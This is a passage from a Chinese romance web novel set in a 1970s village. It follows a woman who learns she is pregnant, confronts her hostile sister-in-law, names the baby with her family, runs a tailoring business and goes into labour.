看着谢晚棠水润又亮晶晶的眸子,傅青山感觉,曾经二十多年不被家里人喜欢又怎样,上天给了他谢晚棠,足以弥补所有。 傅青山深吸一口气,轻轻把人揽进怀里,下巴靠在她的肩头。 两人回来的时候各自都有心事,都不说话,还进屋就关门,弄得兰兰和小刚妞妞都以为娘的病情不好。 等谢晚棠和傅青山谈开,打开门准备做午饭的时候,就看到三个孩子站在炕间门口,全都皱着小眉头,紧张地看着他们俩,弄得谢晚棠也一脸懵。 妞妞过来拉住她的手指,仰头看她:“娘,大夫怎么说?严重吗?怎么没拿药?要不要去医院?” 谢晚棠……?? 所以孩子们是误会她病入膏肓,无药可救了吗? 谢晚棠摸摸妞妞的头:“娘不是病了,大夫说,娘怀孕了,给妞妞怀了个小弟弟,妞妞要当小姐姐啦!” 妞妞的表情从怔愣、到震惊、到兴奋,变幻得可丰富了,最后眼睛一眨不眨地盯着她的肚子,小心翼翼地伸手摸了摸:“小弟弟在这里面吗?” 谢晚棠笑道:“对啊,再过半年,小弟弟就出来了,到时候妞妞和他玩好不好?” 妞妞一直是家里最小的,一听自己也能当小姐姐了,高兴地点头:“好!” 小刚也好奇地伸手轻轻摸摸她的小腹:“我也陪小弟弟玩!” 看孩子们对肚子里的小崽崽都这么喜欢,谢晚棠心情也很好:“好啊!有这样爱他的哥哥姐姐,他肯定很幸福!” 兰兰也高兴,但她毕竟大了,不像两个小的情绪那么外露,兰兰的表现是不允许她插手一点点厨房的活。 谢晚棠笑道:“真的没事啊,我昨晚还能生龙活虎地打军体拳呢哈哈哈,今天一知道怀孕了,就柔弱不能自理了?” 虽然谢晚棠这么说,但兰兰还是很坚持,傅青山也道:“小心点总是没有错。” 谢晚棠拗不过这父女俩,只得乖乖上炕养着,闲来无事,继续画设计图。 两个小的也不在院子里玩了,上炕来一左一右围着她,各自看着自己的小人书陪她。 兰兰做饭的时候突然想起来,对傅青山道:“对了爹,你们刚走没多久,小姑来找你了,看着气冲冲的,不知道什么事,我跟她说你们不知道什么时候回来,让她晚点再过来。” 傅青山皱眉,想来也是结了婚和蒋有年日子过得不顺当。 他点了点头,表示知道了。 中午大刚和二刚下工下学回来,得知谢晚棠怀孕,大刚还内敛点,二刚直接兴奋得尖叫出声,被兰兰兜头一个大爆栗:“你一惊一乍的,吓着娘肚子里的小弟弟!” 二刚缩缩脖子,嘿嘿一笑,凑到谢晚棠身边,对着谢晚棠的肚子温柔打招呼:“弟弟你好,我是二哥,记住我的声音哦!” 兰兰无奈摇头去端饭。 谢晚棠噗嗤一声笑了:“二刚,他现在就手指头这么大,可能还没有能力记住你的声音哦。” 二刚不可思议:“就手指头这么大?那不跟个萝卜头似的?” 谢晚棠:“不完全是个萝卜哦,虽然小,但是头、身子、手脚都有了哦,已经是个小小人了。” 二刚:震惊.jpg 小刚和妞妞也哇偶一声,感觉神奇极了。 傅青宁一进来,看到的就是这样一副温馨热闹的画面,二哥和一群孩子都围着谢晚棠转。 再对比她对蒋有年热脸贴冷屁股的场面,心里一股子邪火止不住冒上来,红着眼对傅青山质问道:“二哥,你把蒋有年摁在冰凉的河水里,威胁他不娶我就要弄死他是不是?!” 蒋有年给他描述当时的情景时,她都心有余悸,不敢想象蒋有年当时得多害怕无助,不然也不会结了婚心里还有这么多怨气,连带着转嫁到了她身上! 谢晚棠一听便了然,怪不得蒋有年那种抬抬屁股就走人不想负责的渣男能同意娶傅青宁,没有点狠手段,肯定是不可能的。 见二哥皱眉不说话,没有反驳,傅青宁便确定了,就是这么回事,蒋有年说的就是真的。 傅青宁幽怨地看着傅青山:“二哥,你怎么能这样对他!他当时得多害怕!” 谢晚棠……???? 呵呵,这脑回路,真是醉了。 傅青山瞥了妹妹一眼:“你不是求着我,无论如何要他娶你?” 傅青宁胸口起伏,一脸怨气:“那我也没让你这么对他!就因为你那样对他,他现在连带着对我都厌恶!” 傅青山深吸一口气:“我没有别的办法让他娶你。” 傅青宁一脸哀怨:“那你去给他道歉!让他原谅你!” 谢晚棠看不下去,冷哼一声:“自己找了个什么狗东西自己没有数?蒋有年厌恶你是因为他只想到处撩骚不想负责任,而你打破了他的计划而已。你当初不是要死要活无论如何要嫁给他吗?这种人渣脸都不要,不动血动命,你以为会束手就擒?” “道歉?他算个什么东西!你自己找的男人,能过你就过,不能过就去离婚,公社大门永远为你们敞开!少在这跟癞蛤蟆似的恶心别人!” 本来傅青宁的事她懒得管,但这事实在恶心人,用完了傅青山,现在又来倒打一耙?真搞笑!她的男人她都不舍得欺负,还由得傅青宁在这指手画脚? 傅青宁被怼得愣了半晌,回过神来猛地朝谢晚棠冲过来:“我跟我二哥说话,要你管?” 大刚一步挡在谢晚棠身前,一把把傅青宁推到一边,冷声道:“我娘怀孕了,你离我娘远点!” 傅青宁听到谢晚棠怀孕,简直比听到蒋有年说二哥把他摁到河水里要弄死他时还震惊。 傅青宁不相信,摇头指着谢晚棠:“你怎么会怀孕?!” 谢晚棠的脸色比之前还要粉嫩好看,也没听说吐过,怎么可能就怀孕了! 她处处不如谢晚棠,怀这个孩子也是吐得胆汁都出来了,虽然爹娘哥嫂都觉得她未婚先孕丢人,但结婚那天,看着谢晚棠跟二哥结婚都快半年了还没动静,她少有的在谢晚棠面前得意,总有一件事是谢晚棠不如她的了。 结果现在告诉她,谢晚棠也怀孕了,还美美地、舒舒服服地怀孕了! 凭什么! 凭什么这样! 第72章 我诅咒你和你肚子里的孩子都不得好死! 谢晚棠闻声嗤笑:“怎么着,怀孕是你的特权,别人连怀孕都不配了吗?” 傅青宁怒目圆睁,被大刚挡着也要骂人:“你就是见不得我过得好!天天挑拨我二哥!如果不是你,我二哥也不会这样对有年哥,我们也不会刚结婚就变成现在这个样子!谢晚棠,我诅咒你和你肚子里的孩子不得好死!” 傅青宁话落,谢晚棠再也忍不了,看着傅青宁探到她面前丑陋的嘴脸,抬手一巴掌狠狠甩上去,啪的一声脆响,打得傅青宁瞬间没了声音,捂着脸偏向一边。 谢晚棠深吸一口气:“傅青宁,你可以骂我一百句一千句,那是我们俩之间的矛盾,但是我肚子里的孩子,还由不得你这张破嘴来诅咒,别让我再听见,不然,我听见一次打你一次,说到做到。现在,立刻,马上滚出我们家!” 傅青宁被打得脸火辣辣的疼,偏几个死孩子还都站在谢晚棠那边一脸敌对地看着她,她愣了半晌,哇的一声,噗通跪下抱着傅青山的大腿又哭又嚎:“二哥!我还怀着孩子呢,你就忍心让我去离婚吗?!就是一句道歉,你就再帮我一次不行嘛!” 傅青山一把把人拎起来,冷面看着面前这个恨铁不成钢的妹妹,冷声道:“你决定要跟蒋有年结婚的时候,我就跟你说过,你自己选的路,以后不管怎么样,只能你自己承担,那不是一句玩笑。” 人总要长大,总要学着自己去承担自己选择的后果。 傅青山用尽了所有的耐心,在听到傅青宁诅咒谢晚棠肚子里的孩子的那一刻,他已经失望至极。 说完,他松开手,对大刚和二刚道:“把你小姑送回去。” “是!”大刚二刚早就看不下去,一得令便直接把人拖了出去,省得在这惹娘生气!万一伤着娘肚子的弟弟可怎么办! 傅青宁被拉走后,傅青山看谢晚棠还气着,叹了口气,上前一步,把人揽进怀里轻轻给拍着背顺气:“棠棠,对不起,别生气了。” 谢晚棠深吸一口气,靠在傅青山怀里,半晌激动的情绪才稍稍平静下来。 虽然她厌恶蒋有年和傅青宁,但是为了傅青山,只要不是跳到她脸上,她一般都睁一只眼闭一只眼,不愿意闹大惹得全家烦心,定亲结婚过年这样的面子工程她也都可以为了傅青山去做。 但傅青宁竟然敢当着她的面诅咒她肚子里的孩子,活该,真是自己舔着脸来找抽! 虽然傅青宁过得惨,但那都是她自找的! 自己淋了雨,也要把别人的伞撕碎? 真搞笑! 当她是好惹的?! 怀了孕就不是一个人的身体,为了肚子里的崽崽,谢晚棠深吸一口气,努力调整好自己的心态,不去跟那些烂人生气,拍拍傅青山的肩膀:“我没事了,但你坚决坚决不允许去给那个垃圾蒋有年道歉!” 傅青山的手段是狠,她听了也震惊。 但对付蒋有年这种不要脸的人,就得狠才能治得住,欺软怕硬的狗东西,要是傅青山真去给他道了歉,那他*的狗头还不得翘到天上去了? 傅青山嗯了声,替她捋了捋鬓边的发丝:“我当时恨不得直接就闷死他。” 谢晚棠相信傅青山说的是真心话,叹了口气,摸了摸傅青山的眉心,有这样一个不争气的妹妹,傅青山肯定比她糟心一万倍! 午饭闹得没什么食欲,睡了一觉起来,把那些烂事彻底抛在脑后,谢晚棠才开始感觉到肚子饿了。 傅青山进来问她晚上想吃什么,她脑海里突然冒出来金黄喷香的油脂渣! 香喷喷的油脂渣和大葱一起,抹上酱卷在春饼里,一口咬下去那叫一个香! 越想越馋得不行! 记得妈妈说过,当年怀她的时候就是,想到个什么东西,就馋得非吃不可。 傅青山听她解释完脂渣的做法,没有犹豫:“那我现在去镇上买猪肉。” 谢晚棠嘱咐他:“不要纯瘦的,五花最好。” 傅青山点头,穿上棉服过来,双手撑在炕上,弯腰轻吻她的眉心:“好。” 傅青山走后没多久,傅大嫂和老三媳妇就过来了,傅大嫂带过来的鸡蛋,老三媳妇直接给谢晚棠做了两根她最喜欢的卷煎。 傅大嫂一来就拉着谢晚棠的手:“中午听大刚二刚说你怀孕了,给俺俩高兴的!估摸着你应该起来了,就等不及过来了,有两个月了?” 谢晚棠嗐了声:“大夫说都三个月了。” 老三媳妇惊讶:“我记得我怀大刚二刚的时候,头三个月正是吐得最厉害的时候啊!你这一点都没吐啊!” 谢晚棠无奈笑笑:“对啊,我这也没吐过,也压根没想过是怀孕,这不例假一直不来,青山怕我得了大病,非要带我去看,结果一看,才发现是怀孕了。” 傅大嫂拍拍她手:“好好好!不吐好,不吐是有福气!怀孕那个吐可不是什么好受的事。” 老三媳妇凑过来:“听说傅青宁那个脸是被你打的?” 谢晚棠哼了声:“她来找她二哥,让她二哥去给蒋有年道歉。” 傅大嫂和老三媳妇……?? 谢晚棠简单解释了下:“我说绝对不可能,过不下去就离婚,别来扯别人,她就伸着头过来骂我见不得她好,还诅咒我的孩子也不得好死,这我能忍吗?伸手就打了。” 傅大嫂和老三媳妇:“……” 这不活该嘛,自己抻着头找打! 哪有张口闭口诅咒人家肚子里的孩子的! 傅青山在天黑前赶了回来,兰兰已经把其他菜都做好了,只剩炸油脂渣。 谢晚棠循着小时候看姥姥做油脂渣的记忆,在一旁指挥傅青山整块清洗五花肉,然后切成不厚不薄的肉片,记忆中做脂渣就是什么调料都不需要放,切好后直接进油锅里炸就行。 小半桶花生油下锅烧热,然后把切好的肥瘦相间的五花肉片放进去小火炸,刺啦一声过后,咕嘟咕嘟的小气泡把白红相间的五花肉细密地包裹起来,一点一点把五花里的油榨了出来。 孩子们也是第一次吃油脂渣,都好奇地围过来看,二刚惊讶地指着锅里的油:“油居然越炸越多了!” 不像之前炸茄盒的时候,那茄子好像张着大嘴喝花生油一样,越炸油越少!给他心疼的呦! 谢晚棠笑道:“对啊,肥肉里有猪油的。” 要不然为什么过年分猪肉的时候,大家都抢着要大肥肉呢,就是为了回家练猪油。 单纯为了练猪油的话,连花生油都不用放,肥肉放锅里小火慢慢靠,直接就能靠下来猪油。 锅里的五花肉片随着小火慢炸,逐渐呈现出脂渣的模样,肉片由浅黄一点点变成深黄,边缘开始呈现好看的浅红色,不光色泽漂亮,配上那个猪油的香味,小小的当门里都是孩子们咽唾沫的声音。 谢晚棠指挥傅青山用笊篱把脂渣捞出来控干油,然后放盘里放凉,孩子们的眼睛不由自主地跟着脂渣走,脂渣转移到哪儿,他们就舔着嘴唇看到哪儿。 兰兰早已经发好了面团,等脂渣炸完,傅青山把锅里的油捞出来,只剩下一点油在锅里,兰兰把擀好的薄薄小圆饼下锅,两面稍微一煎就熟了,煎了有十几张小春饼整整齐齐码在盘子里端上炕桌,诱人的晚餐终于可以开吃了! 孩子们学着她在饼上涂上一点豆瓣酱抹匀,然后放几块脂渣、几条切好的大葱卷起来,大大地咬上一口,嘴里有白面的甜味、脂渣的香味、大酱的鲜味,还有一点大葱的清淡,简直绝了! 二刚满口欲塞,很快干掉一个卷饼:“怎么会有这么好吃的东西!” 小刚和妞妞也跟着点头,好吃到连说话都腾不出嘴来。 谢晚棠满足地咬了一口,一笑露出两个小酒窝,她小时候第一次在姥姥家吃的时候,也是被这美味惊讶到了。 傅青山买了两斤五花,炸的脂渣不少,就是兰兰没有预料这东西卷饼会这么好吃,面活少了,一人两张,饼早早就干掉了,最后剩一张,大家都不要,非要留给谢晚棠吃。 小刚伸手拿了个脂渣直接塞进嘴里:“就这么吃也好吃!” 脂渣里的油都被练了出去,香而不腻,刚炸好的油脂渣脆脆的,口感非常好。 二刚一口脂渣一口饼子:“就饼子都是香的!” 就着美味的油脂渣,晚上再次成功完成光盘,孩子们拍着鼓鼓的小肚皮,满足地围坐在炕上,说说笑笑,聊着聊着就聊到给谢晚棠肚子里的小弟弟起名。 这个年代农村养孩子多,起名起得也随便。 就像家里这五个孩子,小名加上姓就是大名了。 傅青山领养了他们以后,并没有给他们改名,还是随着他们亲生父亲姓,三个男孩就叫赵大刚、赵二刚和赵小刚。 小刚皱眉:“我已经叫小刚了,再生个弟弟叫什么刚啊,哎!愁人!” 二刚啧了声:“要不你改叫三刚吧,把你的小刚让给弟弟叫。” 小刚想了想:“我可以叫三刚,但弟弟就不要叫小刚了吧,万一爹娘生完这个弟弟再生其他弟弟呢,那到时候不又没法叫了?我觉得我叫三刚,娘现在肚子里的弟弟叫四刚,后边再生了弟弟还可以叫五刚六刚七刚……” 二刚给他竖起大拇指:“小刚,哦不三刚,你很聪明啊!” 小刚被夸聪明,高兴得扬起小下巴! 谢晚棠:“……” 我去,三言两语就给他俩规划到七刚了,这是要生葫芦娃吗…… 谢晚棠轻咳一声,摸摸小刚的头:“小刚哥愿意贡献出来自己的名字给弟弟,这是非常无私的行为,娘很感动!” 小刚骄傲道:“弟弟想要的,我都可以给他!” 谢晚棠真的挺感动,她笑笑道:“但是名字是你亲生父母给你起的,不能随便改哦,而且大家都叫你小刚叫习惯了,突然改叫三刚也不顺嘴啊。” 小刚叹了口气:“也是,可那该怎么办才好啊?” 谢晚棠笑着看向傅青山:“二哥,你的儿子,你有什么想法?” 傅青山想了想:“非得带刚?” 带刚还真不太好起,他刚才也一直在想,但确实是让小刚给截死了。 谢晚棠点头:“显得跟哥哥们相亲相爱嘛!” 全家都皱眉苦想小刚之下还能叫什么刚,愁得头秃。 谢晚棠灵机一动:“小小刚?” 兰兰啧了声:“怎么听起来像小刚的儿子似的。” 谢晚棠灵机再动:“刚崽?崽刚?” 大刚闻声面色复杂:“傅崽刚???” 傅青山:“……” 第73章 再晚10分钟,就要生在路上了。 大刚说完,全家都沉默了。 难听到谢晚棠也感觉不会了→_→ 傅青山轻咳一声:“我们家下一辈的字是传,就叫傅传刚吧。” 也带着刚。 谢晚棠自言自语念了两遍,感觉比傅崽刚大气多了! 谢晚棠:“好!那大名就叫傅传刚吧。” 至于小名,谢晚棠感觉实在是没法顺着小刚往下起了,不如另辟蹊径:“小名就叫六六吧,刚好他在家里排第六,六六大顺寓意也很好啊。” 二刚叫了两遍试了试,点头:“嗯,六六很不错!到时候后边再生其他弟弟妹妹也好起名了,顺下去叫七七、八八、九九就行!” 谢晚棠:“……” 她还真没想过这么多深谋远虑的事。 最后六六和傅传刚这两个小名和大名,家里一致通过。 农闲无事,谢晚棠怀孕的事很快在村里传开,一下子击碎了村里最后的谣传。 还说人家傅青山不行,崽都揣肚子里了! 谢晚棠怀孕后,家里的孩子们都很开心,就连大刚那种平时不苟言笑的,最近回来都爱说话了。 可这天,谢晚棠和兰兰在炕上一起给六六计划着要做什么衣服鞋的时候,妞妞跑着从外边回来,小手摸着眼泪,眼睛都红了。 谢晚棠皱眉,把人拉过来,“怎么了妞妞?” 除了那次被刘宝根手贱嘴贱地欺负哭了,妞妞其实平时很少哭。 “哎呀小刚,你跑什么!别磕着!” 妞妞抱着她的大腿摇头不想说,谢晚棠听见郭燕大大咧咧的声音,接着就看到小刚哒哒哒跑进来,还喘着粗气,郭燕和刘秀香紧随其后进来。 谢晚棠跟两人打过招呼,找了毛巾给妞妞擦了擦眼泪,问小刚:“小刚,妹妹怎么哭了?” 两人早晨吃完饭是一块出去玩的。 小刚也有点难受,抿了抿唇:“小顺子他后娘说,等娘生了弟弟,就只爱弟弟不爱我们了。” 谢晚棠闻声皱眉,安慰妞妞:“妞妞居然相信这样的话吗?娘怎么可能不爱妞妞啊,妞妞不是还要当六六的小姐姐嘛!” 妞妞靠在她大腿上,闻声乖巧地点头。 郭燕一听就来气:“刘大水他老婆这嘴也太贱了!以为谁都跟她似的!跟孩子乱说什么!不行,我去找她过来说清楚!” 刘秀香也皱眉不悦,她拉住郭燕:“晚棠怀着身孕,别来她这里闹腾了,一会儿我去找她谈话,她这张嘴啊,按天能挑拨事!” 郭燕摸摸两个小的的头:“你们娘不会不爱你们的!就算再生一群弟弟妹妹,她也会一起爱你们!” 郭燕是亲眼看着谢晚棠平常怎么对这五个孩子的,人的本性是不会变的。 小刚用力点头:“对!妞妞,就算以后娘生了七七、八八、九九、十十,也不会不爱我们的!” 郭燕问小刚什么是七七、八八、九九、十十,小刚一解释,郭燕呦吼一声笑着看谢晚棠:“野心很大啊!不过你们家老傅那个体格,这个指标完成起来不费劲!” 谢晚棠:“……” 领养五个,再生上五个,直接组个足球队得了…… 刘秀香和郭燕给她嘱咐了些怀孕的注意事项,坐了会就走了,去刘大水老婆家谈话。 过晌,傅大娘和玉秀也过来了,带来的红糖和鸡蛋。 傅大娘拉着她的手,别提多高兴了,心里的大石头可算是落下了。 自从农闲不怎么去地里上工,谢晚棠已经很久没见过玉秀了。 玉秀轻轻摸她肚子的时候,谢晚棠笑道:“和江建设谈得怎么样了?” 一提江建设,玉秀脸刷一下红了,抿唇低头:“挺好的,嫂子。” 傅大娘不光是来看谢晚棠怀孕的,还要感谢她这个事:“多亏她二嫂你给上心,跟你报个喜,过几天就要跟亲家见面定日子了!” 谢晚棠高兴,也不贪功,拉着玉秀的手笑道:“这是他们俩人的缘分,我就是牵个线而已。” 晚上傅青山回来,谢晚棠把玉秀和江建设快要定亲的事跟他说了,傅青山点头:“挺好。” 书里傅青山和江建设是朋友,现在关系又近一层,直接变亲戚了。 薛桂花平常足不出户,消息滞后,还是听刘翠芬跟谢建国说,才知道谢晚棠怀孕了。 薛桂花来这天是个周日,傅青山歇班,在院子里干活,一看见她就起身:“娘,你来了,晚棠在里边。” 薛桂花哎了声,迫不及待地进门,娘俩一见面,氛围温暖热络,傅青山给两人倒了水就出去,也不打扰。 薛桂花打开包袱,拿出来小虎头鞋和虎头帽。 谢晚棠和兰兰给孩子做了纯棉的舒服小衣服,鞋帽正好还没做,正好都没有,薛桂花会刺绣,小虎头鞋和虎头帽都绣得活灵活现,好看极了,谢晚棠爱不释手。 薛桂花高兴之余有点愁:“估摸着你跟翠芬差不多时间生,我也没法过来照顾,你那个小姑子好像也跟你时间差不多,她住家里,那到时候你婆婆能来照顾你?” 谢晚棠巴不得傅老太别来照顾她,好好照顾傅青宁吧,听说月子是人最虚弱的时候,傅老太那种人,怎么可能弯下腰来照顾儿媳妇,她可不想最累的时候还要跟傅老太斗。 谢晚棠耸耸肩:“我正好也不敢用她。” 薛桂花担心:“那你这坐月子怎么办?女人坐月子可是不能碰水,不能受寒。” 兰兰在一旁道:“姥娘,别担心,有我呢,我照顾娘,不让娘干活。” 薛桂花摸摸兰兰头:“真好的孩子,可你自己都还是个孩子,抱孩子奶孩子那些事,哎,身边没个生过孩子的在可怎么好?” 被薛桂花这么一提醒,谢晚棠倒是重视起坐月子的事来。 她生活的21世纪,专业的人做专业的事,坐月子都是请月嫂或者去月子中心,这年代既没有专门的月嫂,也没有月子中心—— 谢晚棠突然想到一个人:“我可以找大嫂啊,大嫂勤快,做饭好吃,自己还生过3个孩子,肯定会弄孩子。” 对傅大嫂,薛桂花是100个满意,但是,她犹豫道:“分了家,哪里还有嫂子伺候弟妹坐月子的道理啊?” 谢晚棠嗐了声:“我又不让大嫂白干,多给大嫂些辛苦费。” 就算是在21世纪,月嫂也是高薪职业,她自然不会亏待了傅大嫂。 吃过午饭,谢晚棠把请傅大嫂来帮着坐月子的事跟傅青山说了,傅青山自然没有异议,点头道:“嗯,大嫂脾气好又麻利,照顾你和孩子我都放心。” 翌日傅大嫂来送菜包子,谢晚棠跟她说了坐月子的事,傅大嫂都没犹豫,一口就应下了。 谢晚棠:“大嫂,到时候一个月给你20块钱,你觉得行吗?” 傅大嫂闻声震惊,赶紧摆手:“都是妯娌,你说这就见外了!搭把手的事!” 谢晚棠摇头:“大嫂,你听我说完,我是想到时候你直接请假不去上工了,早晨青山走了以后,一直到晚上他下班回来以前,你都帮着我弄弄孩子,我相当于给你补了工分了。” 不用去下地,只是来照顾孩子,对傅大嫂这样的妇女来说并不是难事。 而且他们全家下地一年,也就能挣个十几块钱,她来照顾谢晚棠一个月子,就给她20块,这自然是再诱人不过的事。 傅大嫂不大好意思:“晚棠,20太多了,10,哦不,你给5块钱就行!” 她已经跟着谢晚棠做衣裳挣了不少钱了,那能因为帮着谢晚棠坐个月子,就收这么多钱。 谢晚棠却坚持给20,她笑道:“大嫂要是觉得钱多了,那就给我个20块的月子体验嘛!” 谢晚棠一直觉得,服务没有上限,如果有,还是因为钱没到位。 傅大嫂分了家一直努力过日子,除了钱紧吧点,别的方面都很舒坦,如今有送上门来挣钱的机会,自然不愿浪费,用力点头:“晚棠你放心,大嫂保证让你过个最舒心的月子!” 她生了三个孩子,就傅老太那样的恶婆婆,别说伺候她了,月子里还想让她刷碗做饭呢,三个孩子都是她自己一手拉扯大的,她最知道女人月子里的难。 谢晚棠什么都替她考虑,对她也从不吝啬,她绝对尽心尽力,不让谢晚棠经历她经历过的那些苦。 搞定了坐月子的事,谢晚棠就安心待产了。 四月底,玉秀和江建设就要结婚了,她因为怀孕,结婚当天不能去送玉秀出嫁,说是有喜家不吃喜家饭的习俗,她就提前给玉秀做了一身的确良的红衬衣做喜服,当做结婚礼物送了过去。 玉秀是她穿书过来以后,第一个对她表达善意的女孩。 看着这么可爱善良的女孩走向幸福的婚姻,谢晚棠真心为她高兴。 结婚后玉秀跟着江建设搬去了大沟村,玉秀走之前来看她,因为不舍而眼眶泛红。 但谢晚棠知道,无论是下沟村还是大沟村,都不是她和玉秀的终点,改革开放终会到来,她们都将离开这片黄土地小村庄,走向更大的城市,跟随着祖国的脚步进步发展。 转眼进入六月,春末夏初,草长莺飞。 大刚二刚和小刚把院子里的小花园填得满满当当,有金灿灿的迎春,有桃红色的杜鹃,还有路旁一些谢晚棠也叫不出名来的好看小野花,都被孩子们挖了回来,错落有致地安排在小花园里,争奇斗艳,争先恐后地迸发出勃勃生机。 小六六快有7个月大了,原本平坦的小腹一天比一天大,谢晚棠给小六六做好小被单,扶着腰一出当门,看到的就是这样一副生机盎然的画面,心情瞬间大好。 小六六好像也能看到似的,跟着在她肚子里这动动那动动,似乎也在表达着自己的喜悦。 即将入夏,她又接了一大批夏装的活。 冬装积攒了七八十个老客户,谢晚棠就弄了个以老带新的活动,介绍新客户来的老客户再做衣裳,配件的钱就免了,扣子和松紧带她都送了。 至于介绍来的新客户,可以免费送一件内衣。 这个以老带新的活动一出,老客户加上新客户,夏装的订单直接暴涨到600多单,大沟镇下属的十多个村,村村都有她的客户,而她们下沟村,整个村更是几乎2/3的妇女都来找她做衣裳。 便宜又好看,口碑杠杠的。 随着肚子越来越沉,很多事谢晚棠都不亲自做了,进布料和配件的活交给了玉秀,量太大,自行车带不过来,玉秀带着大刚去镇上买了直接用板车拉回来。 傅大嫂手巧又细心,谢晚棠把内衣的裁剪方法一点一点交给了她,她在一旁给指导着,调整几次,傅大嫂很快就能独立上手了。 来人选款式选颜色量尺的活交给了老三媳妇,老三媳妇性格开朗爱说爱笑,社交能力非常强。 就连小刚和妞妞都不出去玩了,每天喂完鸡鸭兔狗,就主动洗手进来帮着剪线头,已经是熟练小工了。 二刚数学好,现在订单多了,每天放学回来都给她理理账,还帮她重新弄了个客户信息记录本,客户的年龄、住址、尺寸、以往做过的衣裳、花的钱数,带来的新客户等等,都列得清清楚楚、一目了然。 二刚还帮她想了一个好主意,把每个客户在这花过的钱累计起来,花到一定数额,就可以送东西或者减免一部分钱。 谢晚棠震惊地看着二刚,虽然这在后世是市场营销里的常规操作,但二刚只是一个11岁的小学生啊!而且根本没读过经济学,小脑子在挣钱方面就这么活络了! 明明是个经商小天才的,上辈子居然误入歧途,把聪明都用到些偷鸡摸狗的勾当上去了,真是太可惜了! 这辈子有她在,绝对不允许这样的事发生! 夏装做起来总归是比冬装要简单一些,虽然量大,时间又急,但是大家还是齐心协力,赶在盛夏前把订单都完工了。 给傅大嫂和老三媳妇发完工资,给孩子们也挨个分上辛苦费,谢晚棠算了算,还赚了120多。 加上这几个月攒下的傅青山的工资,剩下400多块钱的欠债,已经攒了300了,谢晚棠让傅青山上班的时候捎着去镇上把这些先给战友汇出去,只剩100多了,心里感觉轻松多了。 刚进八月,刘翠芬就生了个大儿子。 不过也没说的这么简单,生生生了三天。 接生婆来给谢晚棠手摸试孩子大小的时候说起来:“我真试着要垮了,从来没接生过这么累的孩子,都看着头发了,眼看就要生出来了,又缩回去了!” 谢晚棠皱眉:“那能好吗?” 破水三天才生出来,确定不会缺氧吗? 接生婆叹了口气:“肯定不好啊,小孩生出来都不会哭,不过好在打了好几下脚心惶惶过来了,就是声音跟小猫叫似的。你这个嫂子啊,平时就夹夹咕咕的,给谁点东西都不舍得,出尔反尔的,生个孩子也是这样。” 谢晚棠抿唇,听接生婆这么说,感觉肯定是生的时间太长缺氧了。 接生婆走后,谢晚棠摸摸自己的肚子,轻声道:“六六,你到时候可一定要加把劲哦。” 预产期之前一个多周的时候,傅大嫂就过来给她讲了好多要生的前兆,让她一有感觉,就马上去叫接生婆。 谢晚棠应着,因为对未知的担忧,心里不自觉开始紧张起来。 大嫂说一胎一般生得慢,她很怕她像刘翠芬那样,生得太慢,给孩子带来伤害。 9点多躺下要睡的时候,就觉得肚子硬邦邦的难受,还有一点坠坠的疼,不过也只有一点点。 听傅大嫂说,生孩子的那个疼,是很疼很疼的,她这个真是没有太疼,换了个姿势感觉好一点了,就没有多想,毕竟离预产期还有一个多周呢。 一直到凌晨被一阵难以形容的刺痛疼起来的时候,谢晚棠才感觉到,好像真的要生了。 跟傅大嫂形容的那个疼法有点像。 她赶紧推推傅青山:“二哥,我好像要生了。” 傅青山没有睡实,一个翻身爬起来,下炕去点蜡:“我去叫接生婆。” 谢晚棠摇头:“二哥,你能别走吗?我有点紧张。” 肚子突然开始疼起来,比痛经更难忍受的疼痛,让她心里很不安。 傅青山点头,披着外衣去大刚的房间敲门,把人叫起来:“大刚,去叫接生婆过来,你娘可能要生了。” 大刚愣了下,一个激灵翻身爬起来,套上裤子穿上鞋就往外跑,连褂子都没穿,一步都不敢停,耳边都是呼啸的风声。 可等他跑到接生婆家门口的时候,就看到奶奶正拉着接生婆要走。 大刚顾不得喘匀气,对接生婆道:“俺娘要生了!” 接生婆拉着大刚:“正好,顺路去你们家看看你娘什么样了。” 傅老太闻声一把扯住接生婆:“不行,这事得分个先来后到!先去俺闺女接生完再说!” 大刚皱眉:“可是俺娘在炕上疼得很厉害!” 傅老太哼了声:“疼得厉害也得等着!生孩子哪有不疼的!真等不及了不用接生婆自己也能生出来!” 说罢,傅老太直接拉着接生婆走了。 大刚急得又插近道一路跑回去,推门跟傅青山说了刚才遇到奶奶的事:“爹,村里就这一个接生婆,这可怎么办?” 孩子们都起来了,像热锅上的蚂蚁似的围了炕前一圈。 兰兰:“要不我去叫大娘来,大娘生过孩子,可能也会接生吧。” 傅青山皱眉,摇了摇头,吩咐兰兰给谢晚棠收拾东西,他马上给谢晚棠穿衣裳,见谢晚棠疼得眉头都蹙在一起,他加快手上动作:“没事,棠棠,我们马上去医院。” 傅青山骑上车子,让谢晚棠抱住他,谢晚棠疼得感觉腰都要断了,手上都软绵绵的,傅青山怕谢晚棠掉下去,让兰兰把他们俩拴在一起,他带着谢晚棠先出发,安排大刚去支书家借车子,让兰兰带上傅大嫂随后去医院。 傅青山走后,孩子们兵分两路,大刚跑去支书家,兰兰去叫大娘起来,大刚借来车子,直接送到大娘家,兰兰带上大娘就出发。 她们走的时候,还听着接生婆在抱怨:“都还没开始疼,就急急急!” 兰兰顾不上听,用最快的速度,带着大娘嗷嗷去追爹娘。 傅青山从来没觉得从下沟村到镇上的距离有这么远过,他用尽全身的力气,比野战行军时的脚程还要快,一步都不敢停,连上坡都没有减速,一路冲到镇医院。 车子扔一边连支都顾不上,抱起谢晚棠就往医院里跑,值班护士正在打瞌睡,突然听到一声大喊:“有人吗!快点!!!” 值班护士一下子支棱起来,就看到一个高大的男人抱着一个大肚子孕妇冲进来,“我媳妇要生了!” 值班护士赶紧从值班室冲出来,“这边!”带着傅青山往楼上产房跑。 男人抱着个孕妇跑得都比她快,她拽着楼梯扶手硬跑着追,直到把人交接给产房大夫,她才一把拉住男人:“产房你不能进!” 男人劲太大,把她扯得差点都被带进产房去,但闻声还是遵守了规定,深吸一口气,退了出来。 值班护士长舒一口气,看男人身上的褂子都被汗湿透了:“别着急,生孩子一般也没有那么快的,你就坐在这等着就行,有什么事医生就出来找你了。” 值班护士走后,傅青山半晌才回过神来,心脏扑通扑通的,像要跳出来似的。 听到产房里传出谢晚棠呻。吟忍耐的声音,比她来例假疼得时候听起来还要难受百倍,傅青山恨不得现在就冲进去,守在她身边。 紧张地攥着指尖,耳朵里全是谢晚棠痛苦的声音,扰乱了他所有的心绪,如果再给他一次选择的机会,他宁愿不要孩子,也不要谢晚棠承受这样的恐惧和痛苦。 她平时连划破手指都要疼得皱眉头的,她说过她不是很喜欢生孩子的,现在却为了他,在里边承受这些。 